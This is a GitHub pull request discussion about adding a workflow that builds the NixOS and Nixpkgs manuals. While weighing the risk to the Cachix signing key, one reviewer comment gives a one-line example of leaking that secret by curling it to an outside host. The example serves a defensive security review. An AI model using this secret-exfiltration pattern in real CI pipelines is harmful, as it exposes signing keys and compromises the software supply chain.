.github/workflows: build NixOS/Nixpkgs manuals#106036
.github/workflows: build NixOS/Nixpkgs manuals#106036zowoq merged 1 commit intoNixOS:masterfrom zowoq:actions-manuals
Conversation
.github/workflows/manual-nixos.yml
Outdated
There was a problem hiding this comment.
@domenkozar Do you see any way an attacker could extract the signing key in this case?
There was a problem hiding this comment.
Anybody with nixpkgs push access can extract the signing key easily.
Push a commit on a branch with curl https://myside.com/${{ secrets.CACHIX_SIGNING_KEY} somewhere in the actions, then enjoy your logs.
We should make sure that nobody consumes that cache except github actions.
There was a problem hiding this comment.
I'd suggest to delete the cache and generate a new one managed with auth tokens. That will ensure tokens can be revoked without losing the cache.
On top of that, until we can give committers only merge access and not direct commit access, about 140 people can extract the key. I don't think anyone would do it on purpose, but hacking 1 of 140 github accounts is not infeasible.
I suggest we add explicit note that the cache should not be trusted outside the CI usage.
There was a problem hiding this comment.
I suggest we add explicit note that the cache should not be trusted outside the CI usage.
Done.
|
I tested: with restricted-eval and it returns: |
|
If you do a revert, add the motivation to the commit message. |
|
I suggest this runs after ofborg, which looking at the other workflow could be achieved with and abort this workflow if the stdenv-rebuild label is present or when the target branch is staging. |
Why? |
|
because
There is no point building in that case. |
There might be a point, but it might be quite slow to build the manual in this case. |
Do you know if |
hmm, reading https://docs.github.com/en/free-pro-team@latest/actions/reference/workflow-syntax-for-github-actions#on it does not seem like you can require two conditions simultaneously. That's unfortunate. Of course, if ofborg completed, and you do a build anyway, if there was no need to build it will simply fetch the manual from the cache. By the way, what is the motivation to build the manuals? From a channel blocking point of view, this is only one of many potential blockers. I get that trying to build all blockers may be too much, but why pick this one (or two)? Because it breaks relatively often? Because it may be hard to debug? Or just to start somewhere? |
We had several occasions where people broken NixOS modules with invalid docbook syntax. Also it's nicer if one would not need to re-build documentation after reading it just to check if also the syntax is correct. |
This would mean that unrelated PRs would fail if either of the manuals are ever broken on the base branch. |
|
Can we merge this? |
|
I think so. We have a cachix signing key etc. But I would leave it to @zowoq since merging github actions often involve post-merge fixes and monitoring. |
|
@ryantm You're working on the docs a lot at the moment, are you okay with this being merged or would you prefer to wait? |
Motivation for this change
Things done
sandboxinnix.confon non-NixOS linux)nix-shell -p nixpkgs-review --run "nixpkgs-review wip"./result/bin/)nix path-info -Sbefore and after)